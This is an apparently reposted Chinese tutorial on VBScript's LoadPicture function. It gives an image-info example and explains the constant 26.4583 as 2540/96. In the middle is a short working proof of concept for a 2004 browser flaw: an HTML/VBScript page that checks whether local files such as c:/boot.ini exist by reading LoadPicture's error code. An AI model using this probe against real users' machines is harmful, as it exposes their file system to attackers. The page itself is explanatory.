vbscript LoadPicture函数使用方法与漏洞利用

2019-10-26 18:02:01

字体：大中小

来源：转载

供稿：网友

复制代码代码如下:

<title>LoadPicture函数</title>
<form name="frm">
选择图片<input type="file" name="pic" onChange="GetPicInfor()" >
</form>
<script language="vbscript">

Sub GetPicInfor()
dim objpic,iWidth,iHeight
dim pictype,picpath
picpath=document.frm.pic.value
set objpic=Loadpicture(picpath)
iWidth = round(objpic.width / 26.4583) '26.4583是像素值
iHeight = round(objpic.height / 26.4583)
select case objpic.type
case 0
pictype = "None"
case 1
pictype = "Bitmap"
case 2
pictype = "Metafile"
case 3
pictype = "Icon"
case 4
pictype = "Win32-enhanced metafile"
end select
document.write "你选择了图片"&picpath
document.write "<li>长度:"&iHeight&"</li>"
document.write "<li>宽度:"&iwidth&"</li>"
document.write "<li>类型:"&pictype&"</li>"
End Sub
</script>

不过这个函数有个漏洞，可以探测电脑上存在的文件名。2004年的漏洞，微软现在也没补，示例:

复制代码代码如下:

<form onsubmit="doIt(this);return false">
<input name="filename" value="c:/boot.ini" size="80" type="text"><input type="submit">
</form>
<script language="vbscript">
Sub loadIt(filename)
LoadPicture(filename)
End Sub
</script>
<script language="javascript">
function doIt(form) {
try {
loadIt(form.filename.value);
} catch(e) {
result = e.number;
}
if (result != -2146827856) {
alert('file exists');
} else {
alert('file does not exist');
}
}
</script>

这段代码中有一个“魔法数字（Magic Number）”26.4583，曾经有位昵称是“乱码”的朋友问过我这个26.4583是怎么来的，当时我也不知道。

前段时间逆向分析了一下vbscript.dll，才发现了其中的奥秘：
复制代码代码如下:

26.4583 = 2540 / 96

那你一定要问，这个2540和96又是怎么来的？

要弄清楚这个问题，首先要知道VBS的LoadPicture函数返回的到底是什么，VBS文档是这么描述LoadPicture函数的：

Returns a picture object. Available only on 32-bit platforms.

只说返回图片对象，却没说该图片对象有什么属性和方法。文档语焉不详，只好动用OllyDbg了：

LoadPicture函数内部调用了OleLoadPicture函数，查文档可知返回的是IPictureDisp接口。不过后来我发现了更简单的方法，那就是查VB的函数声明（谁让它们是一家人呢），在VB的对象浏览器中查找LoadPicture函数：

Function LoadPicture([FileName], [Size], [ColorDepth], [X], [Y]) As IPictureDisp虽然VBS的LoadPicture函数比VB的简单，但是返回值应该是一样的。

上一篇：PDF的VBS小程序代码

下一篇：用vbs列出机器上所有能调用的组件

学习交流

电脑开不了机的原因和解决办法

电脑开不了机的原因和解决办法...

热门图片

猜你喜欢的新闻

猜你喜欢的关注